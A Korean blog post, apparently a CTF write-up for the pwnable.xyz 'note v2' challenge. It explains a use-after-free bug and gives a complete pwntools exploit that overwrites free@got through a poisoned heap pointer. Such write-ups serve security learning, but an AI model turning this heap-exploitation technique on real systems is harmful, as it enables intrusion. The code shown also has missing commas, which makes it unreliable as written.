본문으로 바로가기

pwnable.xyz / note v2

category Wargame/pwnable.xyz 2020. 5. 1. 18:35
  if ( count <= 32 )
  {
    printf("size of note: ");
    size = read_int32();
    note = (note *)malloc(0x28uLL);
    
    if ( !note->note )
      note->note = (char *)malloc(size);
    
    printf("title: ");
    read(0, note, 0x20uLL);
    printf("note: ");
    read(0, note->note, size - 1);
    book[count++] = note;
  }
  else
  {
    puts("Limit reached.");
  }

 

make_note는 이렇게 생겼다.

 

  note = get_note();
  
  if ( note )
  {
    free(note->note);
    book[count--] = 0LL;
  }

 

delete_note는 이렇게 생겼다.

 

삭제할 노트를 선택할 때 노트에 index로 접근하는데, 정작 book은 스택처럼 동작하기 때문에 UAF가 발생한다. (심지어 --count 가 아니라 count-- 라서 스택처럼 동작하지도 않는다) 노트 3개 만들고 0번, 1번 노트를 지운 뒤 1번 노트의 fd를 free@got의 주소로 바꾸고 그곳에 win 주소를 쓰면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def MakeNote(size:inttitle:bytesnote:bytes) :
    p.writeafter(b'> 'b'1')
    p.writeafter(b': 'str(size).encode())
    p.writeafter(b': ', title)
    p.writeafter(b': ', note)

def EditNote(index:intnote:bytes) :
    p.writeafter(b'> 'b'2')
    p.writeafter(b': 'str(index).encode())
    p.writeafter(b': ', note)

def DeleteNote(index:int) :
    p.writeafter(b'> 'b'3')
    p.writeafter(b': 'str(index).encode())

def PrintNote(index:int) :
    p.writeafter(b'> 'b'4')
    p.writeafter(b': 'str(index).encode())
    r = p.readline(keepends=False).split(b' : ')
    return r[0], r[1]

def exploit() :
    free_got = 0x602018

    MakeNote(0x40b'A'b'A')
    MakeNote(0x40b'B'b'B')
    MakeNote(0x60b'C'b'C')
    MakeNote(0x60b'D'b'D')
    DeleteNote(0)
    DeleteNote(1)

    r = PrintNote(1)[1]
    heap_base = u64(r.ljust(8b'\x00')) & 0xFFFFFFFFFFFFF000
    log_info('heap base: '+hex(heap_base))

    EditNote(1, p64(free_got)[:len(r)])
    MakeNote(0x40b'D'b'D')
    MakeNote(0x40b'E', p64(0x40096C))
    DeleteNote(0)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30030)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/1/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Dirty Turtle  (0) 2020.05.01
pwnable.xyz / Hero Factory  (0) 2020.05.01
pwnable.xyz / executioner v2  (0) 2020.04.10
pwnable.xyz / badayum  (0) 2020.04.10
pwnable.xyz / password  (0) 2020.04.10